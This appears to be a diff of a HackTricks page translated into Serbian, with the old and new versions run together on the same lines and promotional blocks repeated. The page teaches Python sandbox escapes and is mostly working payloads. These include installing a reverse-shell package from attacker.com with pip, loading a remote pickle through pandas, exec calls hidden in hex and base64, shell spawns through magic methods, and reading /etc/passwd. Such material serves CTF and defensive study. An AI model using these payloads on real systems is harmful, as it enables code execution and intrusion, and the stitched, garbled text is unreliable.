Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima zajednice** na svetu.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
**Interesantne stranice za proveru:** **Zanimljive stranice za proveru:**
* [**Pyscript hakovanje trikovi**](pyscript.md) * [**Pyscript hakerski trikovi**](pyscript.md)
* [**Python deserijalizacije**](../../pentesting-web/deserialization/#python) * [**Python deseralizacije**](../../pentesting-web/deserialization/#python)
* [**Trikovi za zaobilaženje Python pesaka**](bypass-python-sandboxes/) * [**Trikovi za zaobilaženje python sandboksova**](bypass-python-sandboxes/)
* [**Osnovna sintaksa zahteva za Python veb**](web-requests.md) * [**Osnovna sintaksa python web zahteva**](web-requests.md)
* [**Osnovna Python sintaksa i biblioteke**](basic-python.md) * [**Osnovna sintaksa i biblioteke u pythonu**](basic-python.md)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim **alatima zajednice** na svetu.\
Pristupite danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Zaobilazak Python peskovnika # Bypass Python sandboxes
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,11 +23,11 @@ Drugi načini podrške HackTricks-u:
*** ***
Ovo su neki trikovi za zaobilaženje zaštite Python peskovnika i izvršavanje proizvoljnih komandi. Ovo su neki trikovi za zaobilaženje zaštite python sandboksova i izvršavanje proizvoljnih komandi.
## Biblioteke za izvršavanje komandi ## Biblioteke za izvršavanje komandi
Prva stvar koju treba da znate je da li možete direktno izvršiti kod sa već uvezenom bibliotekom, ili da li možete uvesti bilo koju od ovih biblioteka: Prva stvar koju treba da znate je da li možete direktno izvršiti kod sa nekom već uvezom bibliotekom, ili ako možete uvesti neku od ovih biblioteka:
```python ```python
os.system("ls") os.system("ls")
os.popen("ls").read() os.popen("ls").read()
@ -59,23 +60,23 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py') execfile('/usr/lib/python2.7/os.py')
system('ls') system('ls')
``` ```
Zapamtite da funkcije _**open**_ i _**read**_ mogu biti korisne za **čitanje datoteka** unutar python sandbox-a i za **pisanje koda** koji biste mogli **izvršiti** da **zaobiđete** sandbox. Zapamtite da funkcije _**open**_ i _**read**_ mogu biti korisne za **čitati fajlove** unutar python sandboksa i za **pisanje nekog koda** koji možete **izvršiti** da **obiđete** sandbox.
{% hint style="danger" %} {% hint style="danger" %}
Funkcija **Python2 input()** omogućava izvršavanje python koda pre nego što program padne. **Python2 input()** funkcija omogućava izvršavanje python koda pre nego što program sruši.
{% endhint %} {% endhint %}
Python pokušava da **učita biblioteke iz trenutnog direktorijuma prvo** (komanda u nastavku će ispisati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'` Python pokušava da **učita biblioteke iz trenutnog direktorijuma prvo** (sledeća komanda će odštampati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (559).png>) ![](<../../../.gitbook/assets/image (559).png>)
## Zaobilaženje pickle sandbox-a sa podrazumevanim instaliranim python paketima ## Obilaženje pickle sandboksa sa podrazumevano instaliranim python paketima
### Podrazumevani paketi ### Podrazumevani paketi
Možete pronaći **listu preinstaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ Možete pronaći **listu unapred instaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Imajte na umu da iz pickle-a možete napraviti python okruženje da **uvozi proizvoljne biblioteke** instalirane u sistemu.\ Imajte na umu da iz picklea možete učiniti da python okruženje **uvozi proizvoljne biblioteke** instalirane u sistemu.\
Na primer, sledeći pickle, kada se učita, će uvesti biblioteku pip da je koristi: Na primer, sledeći pickle, kada se učita, će uvesti pip biblioteku da je koristi:
```python ```python
#Note that here we are importing the pip library so the pickle is created correctly #Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it #however, the victim doesn't even need to have the library installed to execute it
@ -88,32 +89,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0))) print(base64.b64encode(pickle.dumps(P(), protocol=0)))
``` ```
Za više informacija o tome kako radi pickle proverite ovde: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) Za više informacija o tome kako pickle funkcioniše, proverite ovo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip paket ### Pip paket
Trik podeljen od strane **@isHaacK** Trik koji je podelio **@isHaacK**
Ako imate pristup `pip`-u ili `pip.main()` možete instalirati proizvoljan paket i dobiti obrnutu ljusku pozivajući: Ako imate pristup `pip` ili `pip.main()`, možete instalirati proizvoljan paket i dobiti reverznu ljusku pozivajući:
```bash ```bash
pip install http://attacker.com/Rerverse.tar.gz pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
``` ```
Možete preuzeti paket za kreiranje obrnutog školjka ovde. Imajte na umu da pre korišćenja treba **dekompresovati**, promeniti `setup.py` i uneti svoju IP adresu za obrnuti školjka: Možete preuzeti paket za kreiranje reverzne ljuske ovde. Molimo vas da napomenete da pre korišćenja treba **dekompresovati, promeniti `setup.py` i staviti svoju IP adresu za reverznu ljusku**:
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %} {% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
{% hint style="info" %} {% hint style="info" %}
Ovaj paket se zove `Reverse`. Međutim, posebno je napravljen tako da kada izađete iz obrnutog školjka, ostatak instalacije će propasti, tako da **nećete ostaviti dodatni Python paket instaliran na serveru** kada odete. Ovaj paket se zove `Reverse`. Međutim, posebno je napravljen tako da kada napustite reverznu ljusku, ostatak instalacije neće uspeti, tako da **nećete ostaviti nijedan dodatni python paket instaliran na serveru** kada odete.
{% endhint %} {% endhint %}
## Eval-ujući Python kod ## Eval-ovanje python koda
{% hint style="warning" %} {% hint style="warning" %}
Imajte na umu da exec dozvoljava višelinijske stringove i ";", ali eval ne (proverite walrus operator) Napomena: exec omogućava višelinijske stringove i ";", ali eval ne (proverite operator vidre)
{% endhint %} {% endhint %}
Ako su određeni karakteri zabranjeni, možete koristiti **heksadecimalnu/oktalnu/B64** reprezentaciju da **zaobiđete** ograničenje: Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **zaobiđete** ograničenje:
```python ```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -134,7 +135,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
``` ```
### Druge biblioteke koje omogućavaju evaluaciju python koda ### Druge biblioteke koje omogućavaju eval python koda
```python ```python
#Pandas #Pandas
import pandas as pd import pandas as pd
@ -148,7 +149,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like: # Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
``` ```
## Operatori i kratki trikovi ## Оператори и кратки трикови
```python ```python
# walrus operator allows generating variable inside a list # walrus operator allows generating variable inside a list
## everything will be executed in order ## everything will be executed in order
@ -157,9 +158,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
``` ```
## Zaobilaženje zaštita putem enkodiranja (UTF-7) ## Bypassing protections through encodings (UTF-7)
U [**ovom objašnjenju**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se koristi UTF-7 za učitavanje i izvršavanje proizvoljnog Python koda unutar očigledne peska kutije: U [**ovoj analizi**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se koristi za učitavanje i izvršavanje proizvoljnog python koda unutar naizgled sandboks okruženja:
```python ```python
assert b"+AAo-".decode("utf_7") == "\n" assert b"+AAo-".decode("utf_7") == "\n"
@ -170,11 +171,11 @@ return x
#+AAo-print(open("/flag.txt").read()) #+AAo-print(open("/flag.txt").read())
""".lstrip() """.lstrip()
``` ```
Takođe je moguće zaobići to korišćenjem drugih enkodiranja, npr. `raw_unicode_escape` i `unicode_escape`. Takođe je moguće zaobići to koristeći druge kodiranja, npr. `raw_unicode_escape` i `unicode_escape`.
## Izvršavanje Python koda bez poziva ## Python izvršavanje bez poziva
Ako se nalazite unutar Python zatvora koji **ne dozvoljava pozive**, i dalje postoje neki načini za **izvršavanje proizvoljnih funkcija, koda** i **komandi**. Ako ste unutar python zatvora koji **ne dozvoljava pozive**, još uvek postoje neki načini da **izvršite proizvoljne funkcije, kod** i **komande**.
### RCE sa [dekoratorima](https://docs.python.org/3/glossary.html#term-decorator) ### RCE sa [dekoratorima](https://docs.python.org/3/glossary.html#term-decorator)
```python ```python
@ -200,11 +201,11 @@ class _:pass
``` ```
### RCE kreiranje objekata i preopterećenje ### RCE kreiranje objekata i preopterećenje
Ako možete **deklarisati klasu** i **kreirati objekat** te klase, možete **pisati/prepisivati različite metode** koje mogu biti **pokrenute** **bez** **potrebe da ih pozivate direktno**. Ako možete **deklarisati klasu** i **napraviti objekat** te klase, mogli biste **pisati/prepisivati različite metode** koje mogu biti **pokrenute** **bez** **potrebe da ih direktno pozivate**.
#### RCE sa prilagođenim klasama #### RCE sa prilagođenim klasama
Možete izmeniti neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) kako biste ih naterali da **izvrše proizvoljan kod** kada budu **pokrenute** bez direktnog pozivanja. Možete modifikovati neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) da ih **izvršavaju proizvoljan kod** kada su **pokrenute** bez direktnog pozivanja.
```python ```python
# This class has 3 different ways to trigger RCE without directly calling any function # This class has 3 different ways to trigger RCE without directly calling any function
class RCE: class RCE:
@ -254,9 +255,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")')
``` ```
#### Kreiranje objekata pomoću [metaklasa](https://docs.python.org/3/reference/datamodel.html#metaclasses) #### Kreiranje objekata sa [metaklasama](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Ključna stvar koju nam metaklase omogućavaju je **kreiranje instance klase, bez direktnog pozivanja konstruktora**, tako što se kreira nova klasa sa ciljnom klasom kao metaklasom. Ključna stvar koju metaklase omogućavaju je **da napravimo instancu klase, bez direktnog pozivanja konstruktora**, kreiranjem nove klase sa ciljanom klasom kao metaklasom.
```python ```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass" # This will define the members of the "subclass"
@ -273,7 +274,7 @@ Sub['import os; os.system("sh")']
``` ```
#### Kreiranje objekata sa izuzecima #### Kreiranje objekata sa izuzecima
Kada se **izuzetak pokrene**, objekat **Izuzetka** se **kreira** bez potrebe da direktno pozovete konstruktor (triik od [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)): Kada se **izuzetak aktivira**, objekat **Exception** se **kreira** bez potrebe da direktno pozivate konstruktor (trik od [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
```python ```python
class RCE(Exception): class RCE(Exception):
def __init__(self): def __init__(self):
@ -315,7 +316,7 @@ __iadd__ = eval
__builtins__.__import__ = X __builtins__.__import__ = X
{}[1337] {}[1337]
``` ```
### Pročitajte datoteku pomoću ugrađenih funkcija i licence ### Pročitajte datoteku sa pomoćnim funkcijama i licencom
```python ```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"] __builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help a = __builtins__.help
@ -324,22 +325,22 @@ a.__class__.__exit__ = lambda self, *args: None
with (a as b): with (a as b):
pass pass
``` ```
## Ugrađene funkcije ## Builtins
* [**Ugrađene funkcije u python2**](https://docs.python.org/2/library/functions.html) * [**Builtins funkcije python2**](https://docs.python.org/2/library/functions.html)
* [**Ugrađene funkcije u python3**](https://docs.python.org/3/library/functions.html) * [**Builtins funkcije python3**](https://docs.python.org/3/library/functions.html)
Ako možete pristupiti objektu **`__builtins__`**, možete uvesti biblioteke (primetite da biste ovde takođe mogli koristiti drugu string reprezentaciju prikazanu u poslednjem odeljku): Ako možete pristupiti **`__builtins__`** objektu, možete uvesti biblioteke (primetite da ovde možete koristiti i drugu string reprezentaciju prikazanu u poslednjem odeljku):
```python ```python
__builtins__.__import__("os").system("ls") __builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls")
``` ```
### Bez Ugrađenih Funkcija ### No Builtins
Kada nemate `__builtins__`, nećete moći da uvezete ništa niti čitati ili pisati datoteke jer **sve globalne funkcije** (kao što su `open`, `import`, `print`...) **nisu učitane**.\ Kada nemate `__builtins__`, nećete moći da uvezete ništa niti čak da čitate ili pišete fajlove jer **sve globalne funkcije** (kao što su `open`, `import`, `print`...) **nisu učitane**.\
Međutim, **podrazumevano, Python uvozi mnoge module u memoriju**. Ovi moduli mogu delovati bezopasno, ali neki od njih **takođe uvoze opasne** funkcionalnosti unutar sebe do kojih se može pristupiti radi čak i **izvršavanja proizvoljnog koda**. Međutim, **po defaultu, python učitava mnogo modula u memoriju**. Ovi moduli mogu delovati benigno, ali neki od njih **takođe uvoze opasne** funkcionalnosti unutar sebe koje se mogu iskoristiti za dobijanje čak i **arbitrary code execution**.
U sledećim primerima možete videti kako **zloupotrebiti** neke od ovih "**bezopasnih**" učitanih modula kako biste pristupili **opasnim** **funkcionalnostima** unutar njih. U sledećim primerima možete posmatrati kako da **zloupotrebite** neke od ovih "**benignih**" modula učitanih da **pristupite** **opasnim** **funkcionalnostima** unutar njih.
**Python2** **Python2**
```python ```python
@ -389,7 +390,7 @@ get_flag.__globals__['__builtins__']
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls') __builtins__["__import__"]('os').system('ls')
``` ```
### Ugrađeni tereti ### Ugrađeni payloads
```python ```python
# Possible payloads once you have found the builtins # Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read() __builtins__["open"]("/etc/passwd").read()
@ -397,9 +398,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands # There are lots of other payloads that can be abused to execute commands
# See them below # See them below
``` ```
## Globalne i lokalne promenljive ## Globals and locals
Provera **`globals`** i **`locals`** je dobar način da saznate na šta možete pristupiti. Proveravanje **`globals`** i **`locals`** je dobar način da saznate šta možete da pristupite.
```python ```python
>>> globals() >>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>} {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -423,13 +424,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>] [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 